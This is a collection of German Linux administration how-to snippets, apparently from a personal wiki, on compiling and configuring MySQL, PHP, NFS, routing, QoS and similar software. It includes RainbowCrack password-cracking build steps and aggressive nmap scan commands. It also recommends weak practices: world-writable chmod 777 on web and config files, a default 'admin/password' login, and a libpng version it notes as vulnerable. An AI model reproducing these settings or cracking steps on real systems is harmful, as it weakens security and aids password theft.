“wget http://ftp.gnome.org/pub/gnome/sources/glib/2.17/glib-2.17.0.tar.gz”
“tar -xvzf glib-2.17.0.tar.gz”
“cd glib-2.17.0”
“./configure” oder bei Debian “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include”
“make”
“make install”

“wget http://www.ibiblio.org/pub/Linux/utils/file/managers/mc/mc-4.6.1.tar.gz”
“tar -xvzf mc-4.6.1.tar.gz”
“cd mc-4.6.1”
“./configure” oder bei Debian “...

Read More

Mosix

Möglichkeit 1:
via Yast2 das online Repository für Mosix
hinzufügen “http://www.mosix.org/mos2suse/” und dann
mit den Software Tool installieren.

Möglichkeit 2:
“wget http://www.mosix.org/mos2suse/kernel-mosix-latest.i586.rpm”
“rpm -iUhv kernel-mosix-latest.i586.rpm”
“wget http://www.mosix.org/mos2suse/mosix-utils-latest.i386.rpm”
“rpm -iUhv mosix-utils-latest.i386.rpm”

Möglichkeit 3:
“wget http://www.mosix.org/mos2/MOSIX-2.25.0.0-i386.for_Linux_kernel-2.6.28.tbz”
“tar -xf MOSIX-2.25.0.0-i386.for_Linux_kernel-2.6.28.tbz”
“cd mosix-2.25.0.0”
“screen”
“./mosix.install”
Dann den Anweisungen folgen.
2 (Kernel Quellen liegen bereits auf der Platte)
Kernel Qullen angeben “/usr/src/linux-2.6.28/”
Dann die Kernel Optionen auswählen
Unter “Security o...

Read More

MySQL Cluster

Linux (non RPM packages) - mysql-cluster-gpl-6.3.20-linux-i686-glibc23.tar.gz
Linux (non RPM packages) - mysql-cluster-gpl-7.0.6-linux-i686-glibc23.tar.gz
“wget ftp://ftp.gwdg.de/pub/misc/mysql/Downloads/MySQL-Cluster-6.3/mysql-cluster-gpl-6.3.20-linux-i686-glibc23.tar.gz”
“tar -xzf mysql-cluster-gpl-6.3.20-linux-i686-glibc23.tar.gz”
“groupadd mysql”
“useradd -g mysql mysql”
“cd /usr/local”
“cp -frv /root/pubic/mysql-cluster-gpl-6.3.20-linux-i686-glibc23/ .”
“ln -s mysql-cluster-gpl-6.3.20-linux-i686-glibc23 mysql”
“cd mysql”
“chown -R mysql .”
“chgrp -R mysql .”
“scripts/mysql_install_db –user=mysql”
“chown -R root .”
“chown -R mysql data”
“/usr/local/mysql/bin/mysqld_safe –user=mysql &”
“/usr/local/mysql/bin/mysql mysql”
“mysql UPDATE user SET password = pa...

Read More

MySQL

MySQL 5 Installation / Configuration unter Linux Kernel 2.6.22.5(openSuSE 10.2).
Download “Linux (non RPM packages) downloads “(Linux (x86, glibc-2.2, “standard” is static)).
Ab Version 5.1 heißt der Download “Linux (non RPM packages) downloads (platform notes)”
Ab Version 5.5 heißt der Download “Linux – Generic 2.6 (x86, 64-bit), TAR”
Das Programm ist schon kompiliert und braucht nur noch ausgeführt werden.

“groupadd mysql”
“useradd -g mysql mysql”
“tar -xzf mysql-5.1.34-linux-i686-glibc23.tar.gz”
“cd /usr/local”
“cp -frv /root/pubic/mysql-5.0.45-linux-i686/ .”
“ln -s mysql-5.0.45-linux-i686 mysql”
“cd mysql”
“chown -R mysql .”
“chgrp -R mysql .”
“scripts/mysql_install_db –user=mysql”
Achtung bei SuSE 11.4 ist bereits ein MySQL/my...

Read More

MySQL Commands

“/usr/local/mysql/bin/mysql -u root -p” = Login von Kommandozeile auf die MySQL Datenbank Ebene
Auf der MySQL Datenbank Ebene:
“CREATE DATABASE wordpress;” = Datenbank bzw. Schema erstellen.
“status” = information from the server
“quit” = Kommando Ebene wieder verlassen
“/usr/local/mysql/bin/mysqldump –tables -u root -p joomla >> /root/public/joomla.sql” = Datenbanktabellen exportieren.

Read More

NBD

Für den Produktiv einsatz nicht geeignet

“wget http://nbd.sourceforge.net/”
“tar -xzf nbd-2.9.11.tar.gz”
“cd nbd-2.9.11”
“./configure” oder bei SuSE “./configure –bindir=/usr/bin –sbindir=/usr/sbin –sysconfdir=/etc/nbd –libdir=/usr/lib –includedir=/usr/include –enable-syslog”
“make”
“mkdir /etc/nbd”
“make install”

“modprobe nbd”
“ls -al /dev/nb*”

“vi /etc/nbd/config” -
[generic]
user = root
group = root

[export1]
exportname = /etc/nbd/nbd.nbd
port = 65531
readonly = false
multifile = false
copyonwrite = false

“config” auf node2 kopieren. “scp -r -v root@node1:/etc/nbd/config /etc/nbd”
“dd if=/dev/zero of=/etc/nbd/nbd.nbd bs=1024 count=16000” = erstellt die zu exportierende Datei (16MB) bzw. Block Gerät.
“nbd-server -C /etc/nbd/config [/etc/nbd/nbd...

Read More

NFS

Die NFS Utilities via “Yast2&” installieren. Oder versuchen das Programm zu patchen bzw. als binary (RPM).

libwrap (Falls –with-tcp-wrappers=/XXX/YYY/ZZZ)”:
“wget ftp://ftp.porcupine.org/pub/security/tcp_wrappers_7.6.tar.gz” (Baujahr 1997)
“vi tcp_wrappers_7.6/Makefile” -> änder in
linux:
@make REAL_DAEMON_DIR=$(REAL_DAEMON_DIR) STYLE=$(STYLE) \
LIBS= RANLIB=ranlib ARFLAGS=rv AUX_OBJ=setenv.o NETGROUP= \
TLI= EXTRA_CFLAGS=”-DBROKEN_SO_LINGER -DSYS_ERRLIST_DEFINED” all
“vi tcp_wrappers_7.6/scaffold.c” -> ändern
#include <stdlib.h>     hinzufügen
//extern char *malloc();    auskommentieren

“make REAL_DAEMON_DIR=/etc linux”
Eventuel aber via Binary Package installieren

libevent:
“wget http://monkey.org/~provos/libevent-1.4.8-stable.tar.gz”
“tar -xvzf li...

Read More

Nmap

Zuvor muss man noch Python (devel / KDE) und GTK installieren.
Downloaden
“./configure” oder bei SuSE “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include –with-openssl=/usr/local/ssl”
“make”
“make install”
“nmapfe&” oder bei neueren Versionen
“zenmap&”

#Beispiel Kommandos
“nmap nmap -v -A 172.16.190.16” oder
“nmap -T4 -A -v -PN 172.16.190.2” = Intensivscann ohne Ping

Read More

NTPd

Weil der NTP Daemon ab Kernel 2.6.25 spinnt (May 28 19:27:16 rts ntpd[32244]: cap_set_proc() failed to drop root privileges: Invalid argument),
muss ein Update der libcap durchgeführt werden, siehe Doku unter NTP Ordner bei libcap_how_to.txt
Leider ist die Software sehr instabil.

Bei Debian sollte noch folghendes installiert werden:
“apt-get install ntp ntp-simple ntpdate”

Bei Suse:
Avahi API:
“http://avahi.org/download/avahi-0.6.25.tar.gz”
“tar -xzf avahi-0.6.25.tar.gz”
“./configure” oder bei SuSE “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include –disable-doxygen-xml –disable-xmltoman –with-xml=none –disable-libdaemon –disable-gdbm –disable-mono –disable-monodoc”
“make”
“make install”

“http://www.eecis.udel...

Read More

libcap

Weil der NTP Daemon ab Kernel 2.6.25 spinnt (May 28 19:27:16 rts ntpd[32244]: cap_set_proc() failed to drop root privileges: Invalid argument),
muss ein Update der libcap durchgeführt werden.

Bei Debian sollte noch folghendes installiert werden:
“apt-get install ntp ntp-simple ntpdate”
“wget http://www.kernel.org/pub/linux/libs/security/linux-privs/libcap1/libcap-1.97.tar.gz”
“tar -xvzf libcap-1.97.tar.gz”
“cd libcap-1.97”
eventuel die “capability.h” kopieren. “cp -frv /usr/include/linux/capability.h /usr/include/sys/capability.h” und
die Version 2.11 funktioniert unter SuSE 11.0 nicht. Nur “wget http://www.kernel.org/pub/linux/libs/security/linux-privs/libcap2/libcap-2.10.tar.gz”
“make”
“make install”

“vi /etc/ntp.conf” -
server ptbtime1.ptb.de
server pt...

Read More

Nvidia Grafik Treiber

Treiber Programm ohne X-Server ausführen.
“kdeinit_shutdown” oder “init 3”

Dann das Executable ausführen.
“./NVIDIA-Linux-x86_64-100.14.11-pkg2.run”

Das Programm fragt dann ob es Treiber von der Nvidia Homepage
downloaden soll, dass muss verneint werden.

Read More

OpenOffice

Besser ein RPM installieren da zuviele Abhängigkeiten bestehn.

“wget http://download.openoffice.org/3.1.0/source.html”
“tar -xf OOo_3.1.0_src_binfilter.tar.bz2”
“tar -xf OOo_3.1.0_src_core.tar.bz2”
“tar -xf OOo_3.1.0_src_extensions.tar.bz2”
“tar -xf OOo_3.1.0_src_l10n.tar.bz2”
“tar -xf OOo_3.1.0_src_system.tar.bz2”
“tar -xf OOo_3.1.0_src_testautomation.tar.bz2”
“wget http://tools.openoffice.org/unowinreg_prebuild/680/unowinreg.dll”
“cp -frv unowinreg.dll OOO310_m11/external/unowinreg/”
“cd OOO310_m11”
“screen”
“cpan Archive::Zip”
“cpan XML::Parser”
“via Yast - Java, SandboxJava, jawt, kdebindings(QT)”
cp -frv /usr/lib/gcj-4.3-9/libjawt.so /usr/lib
cp -frv /usr/lib/gcj-4.3-9/libjawt.la /usr/lib
“./configure” oder bei SuSE “...

Read More

openKM

Bei OpenKM 5 funktioniert das Dokumenten Preview nicht aber unter
Version 4 schon. Dafür geht bei Version 4 das Bilder preview nicht.

OpenOffice am besten via Yast2& installieren
oder “http://download.services.openoffice.org/files/localized/de/3.2.1/OOo_3.2.1_Linux_x86_install-rpm-wJRE_de.tar.gz”

ImageMagic:
Siehe dazu Doku.

JDK
“java -version”
Download “Java SE Runtime Environment 6u22” “lynx http://www.oracle.com/technetwork/java/javase/downloads/index.html”
“cp -frv /root/public/jre1.6.0_22/bin/* /bin”
“cp -frv /root/public/jre1.6.0_22/bin/* /usr/bin”
“cp -frv /root/public/jre1.6.0_22/bin/* /usr/local/bin”
“cp -frv /root/public/jre1.6.0_22/lib/* /lib”
“cp -frv /root/public/jre1.6.0_22/lib/* /usr/lib”
“cp -frv /root/public/jre1.6.0_22/lib/* /usr/local/lib”

Read More

OpenStreetMap Garmin How To

OpenStreetMap Garmin How To.
“lynx http://wiki.openstreetmap.org/wiki/Mkgmap/help/How_to_create_a_map”

“wget http://ftp5.gwdg.de/pub/misc/openstreetmap/download.geofabrik.de/europe.osm.bz2”        ca. 10 GB
“time bunzip2 europe.osm.bz2”    ca. 140 GB    dauer bei 2x “Intel(R) Xeon(R) CPU X5650  @ 2.67GHz in ESX 5” 2 GB RAM ca. 2h
oder
“wget http://ftp5.gwdg.de/pub/misc/openstreetmap/download.geofabrik.de/europe.osm.pbf”    ca. 7 GB

“wget http://www.mkgmap.org.uk/snapshots/mkgmap-r2179.tar.gz”
“tar -xzf mkgmap-r2179.tar.gz”

“wget http://www.mkgmap.org.uk/splitter/splitter-r200.tar.gz”
“tar -xzf splitter-r200.tar.gz”

“mv splitter-r200/* mkgmap-r2179”
“cd mkgmap-r2179”

“screen”
“time java -Xmx2000M -d64 -jar splitter.jar europe.osm...

Read More

OCFS2

Das ganze ist für den Produktiveinsatz nicht geeignet.
Die Nodes lassen sich nach einem Ausfall nur sehr schwer wieder
in den Verbund einbinden.
Stand 6.11.14

###################################################################################################

Für openSuse 12.1 bitte ganz unten lesen !!!!!!!
Auch bei SuSE 12.3 nur via original RPM von SUSE Installiern (YAST) !!!!!!!!!!!!!!!!!!!!!!!!!1

Leider lassen sich die einzelnen Cluster Node Partitionen nicht miteinander verbinden 🙁

Zuerts Kernel mit “OCFS2” Unterstützung kompilieren.
Dazu am besten einen neuen Kernel (2.6.24.4) downloaden und via “make xconfig” alle Komponenten unter
Da die Komplation von Bugs unter openSuse nicht funktioniert, ist
es besser ocfs2-tools via Yast2 zu installieren.

“F...

Read More

OSCAR

Läßt sich unter openSuse nicht installieren. Und unter CentOS sowie auf der Homepage Dokumentiert auch nicht. 🙁

AppConfig(perl): Per Yast2 installieren
python-gpgme: Per Yast und Suse online Repository
Yum: Per Yast und Suse online Repository oder auf der SuSE Seite downloaden “wget http://download.opensuse.org/repositories/openSUSE:/Tools:/Devel/openSUSE_11.1/i586/yum-3.2.14-33.2.i586.rpm”
“rpm -iUhv yum-3.2.14-33.2.i586.rpm”

“mkdir /tftpboot/oscar”
“cd /tftpboot/oscar/”
“wget http://svn.oscar.openclustergroup.org/trac/oscar/wiki/Download”
“tar -xvzf oscar-repo-common-rpms-5.1rc1.tar.gz”
“cd common-rpms/”
“rpm -iUhv yume-2.7-2.noarch.rpm”
“vi /etc/yum/repos.d/opensuse.repo” -
[opensuse]
name = openSUSE Factory
baseurl = http://packman...

Read More

oscommerce

“wget (http://www.oscommerce.com/solutions/downloads)”
“unzip oscommerce-2.2rc2a.zip”
“mv ../../oscommerce-2.2rc2a /usr/local/apache2/htdocs”
“chmod -R 777 /usr/local/apache2/htdocs/oscommerce-2.2rc2a”
“chown -R daemon:daemon /usr/local/apache2/htdocs/oscommerce-2.2rc2a”
“http://filehunter.domain.corp/oscommerce-2.2rc2a/catalog/”
Neues Datenbank Schema anlegen (oscommerce)
“rm -frv /usr/local/apache2/htdocs/oscommerce-2.2rc2a/catalog/install”
“chmod 400 /usr/local/apache2/htdocs/oscommerce-2.2rc2a/catalog/includes/configure.php”

Read More

PAM

pam:
Für Debian “apt-get install libpam0g-dev” verwenden, da ein selbst kompiliertes PAM Modul nicht Debian konform ist (User kann sich nicht lokal einloggen [/bin/login error] bzw. sshd startet mit Fehlern).
Sollte “libpam0g-dev” nicht verfügbar sein “wget http://ftp.de.debian.org/debian/pool/main/p/pam/libpam0g-dev_0.79-5_i386.deb” und das Packet manuel unter Gnome via GDebi installieren.
“wget ftp://ftp.kernel.org/pub/linux/libs/pam/library/Linux-PAM-1.0.0.tar.gz”
“tar -xvzf Linux-PAM-1.0.0.tar.gz”
“cd Linux-PAM-1.0.0.tar.gz”
“./configure” oder bei SuSE “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/lib –includedir=/usr/include –enable-securedir=/lib/security”
“make”
“make install”

Read More

PCRE

Debian benötig noch bzip2:
“wget http://www.bzip.org/1.0.5/bzip2-1.0.5.tar.gz”
“tar -xvzf bzip2-1.0.5.tar.gz”
“cd bzip2-1.0.5”
“vi Makefile” ->
Bei 64 BIT “CFLAGS=-fPIC -Wall -Winline -O2 -g $(BIGFILES)”                -fPIC
“make install PREFIX=/usr”
“cp -frv /usr/bin/bzip* /bin”
“make -f Makefile-libbz2_so”    Libs erstellen

“cp -frv libbz2.so.1.0* /lib/”
“rm -frv /lib/libbz2.so.1.0.5”
“rm -frv /lib/libbz2.so.1”
“ln -s /lib/libbz2.so.1.0.6 /lib/libbz2.so.1”

/lib/libbz2.so.1: /etc/snort # ls -al /lib/*bbz*
lrwxrwxrwx 1 root root     15 Sep 28 14:37 /lib/libbz2.so.1 -> libbz2.so.1.0.6
lrwxrwxrwx 1 root root     15 Sep 28 10:52 /lib/libbz2.so.1.0 -> libbz2.so.1.0.6
-rwxr-xr-x 1 root root 144953 Sep 28 10:52 /lib/libbz2.so.1.0.6
[root@re...

Read More

Perl

“wget http://www.cpan.org/src/perl-5.10.0.tar.gz”
“tar -xvzf perl-5.10.0.tar.gz”
“cd perl-5.10.0”
“./configure.gnu”
“make”
“make test” bei P2 300 512 MB RAM 1 Stunde
“make install”
Bei Fedora ist das wegkopieren nicht nötig 🙂 .
“mv /usr/bin/perl /usr/bin/perl.old”
“mv /usr/bin/perlbug /usr/bin/perlbug.old”
“mv /usr/bin/perldoc /usr//bin/perldoc.old”
“mv /usr/bin/perlivp /usr/bin/perlivp.old”
“mv /usr/bin/find2perl /usr/bin/find2perl.old”
“cp -frv /usr/local/bin/*perl* /usr/bin/”
“cp -frv /usr/local/lib/perl5/* /usr/lib/perl5/”

Read More

Apache 2 Mod Perl

“wget http://perl.apache.org/dist/mod_perl-2.0-current.tar.gz”
“tar -xvzf mod_perl-2.0-current.tar.gz”
“cd mod_perl-2.0.3”
“perl Makefile.PL MP_APXS=/usr/local/apache2/bin/apxs”
“make”
“make install”

################################################
In der “httpd.conf” eintragen:

LoadModule perl_module modules/mod_perl.so

Alias /perl/ /usr/local/apache2/htdocs/

SetHandler perl-script
PerlResponseHandler ModPerl::Registry
PerlOptions +ParseHeaders
Options +ExecCGI
Order allow,deny
Allow from all

################################################

#Test Script######

#!/usr/bin/perl
print “Content-type: text/plain\n\n”;
print “mod_perl 2.0 rocks again!\n”;

“chmod 777 /usr/local/apache2/htdocs/perl_test.pl”

http://filehunter...

Read More

OpenPGP Public Key Server

Download von
http://sourceforge.net/projects/pks/
Dann extrahieren.
“tar -xvzf pks-0.9.6.tar.gz”
Nun kompilieren
“./configure”
“make”
“make install”
Nun die pks Datenbank erstellen
“mkdir /var/pgpdatabase”
“cd /var/pgpdatabase”
“pksclient /var/pgpdatabase create”
Jetzt die Konfiguration erstellen
“cd /var/pgpdatabase”
“vi pks.conf”
und gemäß der Beispieldatei konfiguieren
Rechte auf das Verzeichnis ändern
“chmod 777 /var/pgpdatabase/pks.conf”
“chmod -R nobody:nobody /var/pgpdatabase”
Jetzt den pks Daemon starten
“pksd /var/pgpdatabase/pks.conf &”
Fertig

Read More

PHP

OpenSSL bei 64 Bit mit “./config -fPIC” kompilieren. Siehe openSSL Doku.

Vorher OpenSSL, MySQL, ImageMagick, GD2 Libs, IMAP, SNMP, LDAP und Zlib installieren

Installation von apache 2 und php2 mit mysql unterstützung

1. Mysql Client installieren von der SUSE CD

1. Apache Installation mit shared Modules
download apache www.apache.org

2. “tar -xvzf httpd-2.2.3.tar.gz”

3. Apache mit Modulen konfiguieren. Besser siehe Apache Doku
“./configure –enable-modules=all –enable-mods-shared=all –enable-ssl”

4. “make”

5. “make install”

6. Den Apache zu den start Scripten hinzufügen
“cp -frv /usr/local/apache2/bin/apachectl /etc/init.d”

7. PHP downloaden www.php.net

8. “tar -xvzf php-5.2.0.tar.gz”

9. Die Konfiguration ausführen

“...

Read More

phpBB

Man benötigt für phpBB
Apache
MySQL
PHP 5.2.X (noch nicht PHP 5.3 Kompatibel)

Nun phpBB downloaden
“wget http://dfn.dl.sourceforge.net/sourceforge/phpbb/phpBB-3.0.0.zip” (http://www.phpbb.com/downloads/)
“unzip phpBB-3.0.0.zip”
“mv phpBB3 /usr/local/apache2/htdocs/phpBB3”
nun via MySQL Administrator ein Datenbank Schema für phpBB anlegen.
“chmod 777 /usr/local/apache2/htdocs/phpBB3/config.php” (Zentrale Configurationsdatei)
Jetzt via Browser (Internet Explorer) die Installation aufrufen “http://filehunter.domain.corp/phpBB3/”
Nun dem Aufforderungen folgen.
Zum Schluss noch das installationverzeichnis wegkopieren, da sonst das Forum nicht funkzioniert.
“mv /usr/local/apache2/htdocs/phpBB3/install /usr/local/apache2/htdocs/phpBB3/install.alt”

Beim Einfügen v...

Read More

Plone

“wget http://launchpad.net/plone/3.1/3.1.7/+download/Plone-3.1.7-UnifiedInstaller.tgz”
“tar -xzf Plone-3.1.6-r2-UnifiedInstaller.tgz”
“cd Plone-3.1.6-r2-UnifiedInstaller”
“./install.sh standalone”
“lynx http://imperator.domain.corp:8080/manage”
Username: admin
Password: password

Read More

libpng

Achtung libpng-1.2.26.tar.gz hat eine schwere Sicheheitslücke CVE-2008-1382 (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1382).
Deshalb dringend eine höhere Version installieren.

libpng wird z.B. für ImageMagic benötigt.
“wget ftp://ftp.simplesystems.org/pub/libpng/png/src/libpng-1.2.26.tar.gz” bzw. http://www.libpng.org
“tar -xvzf libpng-1.2.26.tar.gz”
“cd libpng-1.2.26”
“./configure” oder bei SuSE und Debian”./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include”
“make”
“make install”

Read More

openproj

“wget http://openproj.org/”
“tar -xzf openproj-1.4-src.tar.gz”
“cd openproj-1.4-src/openproj_build”
“chmod 777 make_deb.sh”
“./make_deb.sh”
Läßt sich unter openSuSE 11.1 nicht kompilieren.

Read More

Pure FTP

1. Download von pure-ftp.

2. tar -xvzf

3. Eine pam Datei im “vi /etc/pam.d/pure-ftpd” erstellen. mit folgendem Inhalt:
auth include common-auth
auth required pam_nologin.so
account include common-account
password include common-password
session include common-session

4. In das entpackte Verzeichnis wechseln.
“./configure –with-pam”
“make install-strip”

-0 –notruncate
-1 –logpid
-4 –ipv4only
-6 –ipv6only
-8 –fscharset
-9 –clientcharset

-a –trustedgid
-A –chrooteveryone
-b –brokenclientscompatibility
-B –daemonize
-c –maxclientsnumber
-C –maxclientsperip

-d –verboselog
-D –displaydotfiles
-e –anonymousonly
-E –noanonym...

Read More

PVM

“wget http://www.netlib.org/pvm3/pvm3.4.6.tgz”
“tar -xzf pvm3.4.6.tgz”
“cd pvm3”
“PVM_ROOT=$HOME/public/pvm3”
“export PVM_ROOT”
“echo $PVM_ROOT”
“make”
“make install”
“export PVM_ALLOW_ROOT=yes”
“echo $PVM_ALLOW_ROOT”
“export PVM_RSH=/usr/bin/ssh”
“ssh-agent bash”
“ssh-add”
“vi ~/.bashrc” - Auf allen Nodes machen
PVM_ROOT=$HOME/public/pvm3
export PVM_ROOT
PVM_ARCH=LINUX
export PVM_ARCH
PVM_TMP=/tmp
export PVM_TMP
PVM_RSH=/usr/bin/ssh
export PVM_RSH
PVM_ALLOW_ROOT=yes
export PVM_ALLOW_ROOT
“rm -frv /tmp/*”
“/root/public/pvm3/console/LINUX/pvm”
pvm add node2
pvm conf -
conf
2 hosts, 1 data format
HOST DTID ARCH SPEED DSIG
node1 40000 LINUX 1000 0x00408841
node2 80000 LINUX 1000 0x00408841
pvm spawn -

Read More

QoS tc iproute

Das Programm dient zum Administrieren von TCP/IP (ifconfig, route) und QoS (tc).
Dem Kernel muss QoS bekannt sein.

Vorher db4 development libraries installieren

“wget http://devresources.linux-foundation.org/dev/iproute2/download/iproute2-2.6.25.tar.bz2”
“tar -xf iproute2-2.6.25.tar.bz2”
“cd iproute2-2.6.25”
“./configure”
“make”
Leider gibts Kompilierngs Fehler
Das Programm sollte aber im Normalfall schon vorinstalliert sein.

#Befehle############
Zeigt aktive QoS Filter:
“tc qdisc show dev eth0”
“tc class show dev eth0”
“tc filter show dev eth0”
“tc -s -d qdisc show dev eth0” = Zeigt erweiterte Packet Statistiken an
“iptables -t mangle -L -v -n” = Zeigt den zu Filternden IPtables Verkehr
“iptables -t mangle -F” = Löscht den Filternden IPtables Verkehr
“tc qd...

Read More

QT Lib

“wget ftp://ftp.fu-berlin.de/unix/X11/gui/Qt/source/qt-x11-opensource-src-4.3.3.tar.gz”
“tar -xvzf qt-x11-opensource-src-4.3.3.tar.gz”
“cd qt-x11-opensource-src-4.3.3”
“./configure” oder bei Debian “./configure -bindir /usr/bin -libdir /usr/lib -shared -largefile -exceptions -accessibility -stl -phonon-backend -qt-zlib -qt-gif -qt-libtiff -qt-libpng -qt-libmng -qt-libjpeg -openssl -iconv”
“screen”
“time make” bei Obelix P3 3GHZ 1GB RAM ca. 3 Stunden und auf Imperator P2 350MHZ 768MB RAM ca. 24 Stunden.
“make install”
“vi ~/.bash_profile” - PATH=/usr/local/Trolltech/Qt-4.3.3/bin:$PATH
export PATH

setenv PATH /usr/local/Trolltech/Qt-4.3.3/bin:$PATH

QTDIR=/usr/local/Trolltech/Qt-4.3.3/
export QTDIR

QTINC=/usr/local/Trolltech/Qt-4.3.3/include

Read More

Quota Disk

Achtung LVMs funktionieren nur bedingt und openSuse ist auch nicht besonders gut geeignet. Root “/” Partitionen sind auch nicht zu empfehlen.
Ebensowenig funktioniert Quota in einer chroot jail Umgebung, sofern das Jail nicht auf einer speziellen Partition sitzt.
Das Quota Dateisystem sollte etx2/3/4 sein.
Der Kernel muss Quota unterstützen (“Quota support (CONFIG_QUOTA) [n] y”). (Kernel quota version: 6.5.1)
Nun die Quota Support Utilities via yast2 installieren oder http://sourceforge.net/projects/linuxquota/ .
“wget http://switch.dl.sourceforge.net/sourceforge/linuxquota/quota-3.15.tar.gz”
“tar -xvzf quota-3.15.tar.gz”
“cd quota-tools”
“./configure” oder bei SuSE “...

Read More

Rainbow Crack Table

“wget http://www.antsight.com/zsl/rainbowcrack/rainbowcrack-1.2-src.zip”
“unzip rainbowcrack-1.2-src.zip”
“cd rainbowcrack-1.2-src/src”
“make -f makefile.linux”

#Kommandos############################
rtgen “hash algorithmus” “charset” “Stelle1” “Stelle2” “wievielte Tabelle” “chain lenght” “chain count” “Name”

Kommando Reihenfolge:
1. ./rtgen Kann je nach größe der Tabelle und Kapazitätet der CPU mehrer Tage dauern. Das generieren kann aber jederzeit abgebrochen werden (str+c) und zu anderer Zeit an der selben stelle wieder aufgenommen werden.
2. ./rtsort
3. ./rcrack

Read More

Raw Device

Andere Vorgehendsweise (siehe LVM Doku)

“vgscan”
“vgchange -a n system”
“vgremove -v -f system”
“vgcreate volume_group /dev/hdc /dev/hdd”
“vgchange -a y volume_group”
“vgdisplay” -> “VG Size               15.32 GB” = wichtige Information über die max. Größe des LVM.
“pvdisplay”
“vgscan”
“lvcreate -n lvm1 –size 15.32g volume_group”
“modprobe raw”
“raw /dev/raw/raw1 /dev/volume_group/lvm1” (Syntax für raw [raw<Nummer>] sonst gehts nicht)
(Ein RAW Device ist nicht wie ein normales Block Gerät mountbar)

“raw /dev/raw/raw1  0 0” RAW Gerät wieder deaktivieren.

Weitere physikalische Festplatten zu einer bereits existieren Volumen Gruppe hinzufügen:

“pvcreate /dev/hde”
“vgextend volume_group /dev/hde”
“vgdisplay”

Da es in diesem Fall unser LV ei...

Read More

Resize Ext3

Am besten via Live CD booten da hier im Beispiel das root Volume (/ -> /dev/sda2) vergrößert wird, ansonsten das Volume unMounten.
fdisk -l
/dev/sda1 Linux swap 1-131
/dev/sda2 Linux 132-2500 (20GB)
fdisk -s /dev/sda2
fsck -n /dev/sda2
tune2fs -O ^has_journal /dev/sda2
fdisk /dev/sda
m
p
d
2
n
p
2
132 (neuer Start Block)
13054 (neuer End Block bei 100GB)
p
a (Boot Flag ändern)
2
w
e2fsck -f /dev/sda2
resize2fs /dev/sda2
fsck -n /dev/sda2
tune2fs -j /dev/sda2
fdisk -l
reboot
df -h

Read More

Resize Ext4

Important Note: If using resize2fs to resize an ext4 file system, ensure that you are using version 1.41.5 or later of resize2fs. Using any earlier version can result in file system corruption. If using the IFL Boot Disk, it should be version 2.40 or later to safely use resize2fs to resize ext4. Run the command ‘resize2fs’ without parameters to display the version.
http://e2fsprogs.sourceforge.net/
EXT4 Partition, besonders root / mit Gparted vergrößern
Anlegen von Partitionen
(boot)
SWAP
/usr usw.
Und ganz zum Schluß root /

Read More

Router How To

Als erstes sollte der Router zwei verschieden Netzwerkkarten besitzen,
desweiteren sollte der neuste Kernel mit saemtlichen Security Features
kompiliert sein (insbesonders Masquerading).

Dann sollte man das IP-Fowarding (routing bzw. Masquerading) im
Yast bei den beiden Netzwerkkarten aktivieren. Oder per:
“echo 1 /proc/sys/net/ipv4/ip_forward” bzw. “vi /etc/sysctl.conf - net.ipv4.ip_forward = 1”
#########################################################################################
Nun sollte aus Sicherheitsgruenden erst einmal der IPtables Filter
gesetzt werden, gemaess den Vorlagen. Auf Masquerading(“iptables -t nat -A POSTROUTING -o dsl0 -j MASQUERADE”) achten.
Alle anderen Chains sollten auf Drop stehn.

Eventuell anderen Netzwerkfähigen Programmen sag...

Read More

Routing

#Befehle#################
route add -net 0/0 gw 192.168.1.1 = Alles was im 255.255.255.0 Netz liegt ist jetzt erreichbar. 0.0.0.0 als Wildcard für alle nicht lokalen Netze.
route del -net 0/0 gw 192.168.1.1 = Löscht die Route.
route add default gw 192.168.1.1 dev eth1:192 = Fügt einen weiteren “default Gateway” hinzu (auf die Virtuelle Netzwerkkarte eth1:192).
traceroute = Zeigt den Weg bis zum Ziel.

#Beschreibungen###########
Private IP-Adressbereiche:
Class A 10.0.0.0 – 10.255.255.255
(1 Class-A-Netz, ca. 16 Mio. Adressen)
Class B 172.16.0.0 – 172.31.255.255
(16 Class-B-Netze, 16 x 65534 = ca. 1 Mio. Adressen)
Class C 192.168.0.0 – 192.168.255.255
(254 Class-C-Adressen, 254 x 255 = ca. 65.000 Adressen)

Um Routing unter Linux zu benutzen muss IP-Forwardi...

Read More

Routing Bsp.

IP-routing im Privaten Netzt über Ethernet.
IP Packet von 10.10.10.2 nach 172.16.190.8 :
10.10.10.2_eth0< =====>10.10.10.1_eth0-192.168.1.1_eth1< =====>192.168.2.2_eth0-172.16.190.2_eth1< =====>172.16.190.8_eth0
PC1(Linux) GW1 GW2 PC2(Win_XP)

IP Forwarding aktivieren
“echo 1 /proc/sys/net/ipv4/ip_forward” bzw. “vi /etc/sysctl.conf - net.ipv4.ip_forward = 1”

Routen GW2 und GW1 adden.
GW2 - “route add -net 0/0 gw 192.168.2.2”
GW2 - “route add -net 10.0.0.0/8 gw 192.168.1.1”
GW1 - “route add -net 0/0 gw 192.168.1.1”
GW1 - “route add -net 172.16.0.0/16 gw 192.168.2.2”

Ping test ob die Routen funktioniert.
GW2 - “ping -c 3 192.168.1.1”
GW1 - “ping -c 3 192.168.2.2”

Nicht zwingend notwendig, da alle IPs im Privaten Breich liegen.
Auf GW2 und GW1 bei den IPtables das Masque...

Read More

rrdtool

“wget http://oss.oetiker.ch/rrdtool/pub/rrdtool.tar.gz”
“tar -xvzf rrdtool.tar.gz”
“cd rrdtool-1.2.27”
Bei CentOS
“yum install cairo-devel”
“yum install pango-devel”
“yum install libxml2-devel”
32-BIT “./configure” oder bei SuSE “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include –enable-perl-site-install –enable-tcl-site”
64-BIT “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib64 –includedir=/usr/include –enable-perl-site-install –enable-tcl-site”
“make”
“make install”

#Um den Namenszug in den Bildern zu ändern, geht man wie folgt vor:
“cd rrdtool-1.2.27/src”
“vi rrd_graph.c” -> ca. “2217,8 55%” ->

/* rrdtool ‘logo’ */
gfx_new_text( im->canvas,
im->ximg-7, 7,
( im->graph_col[GRC_FONT] & 0xffffff00 ) | 0...
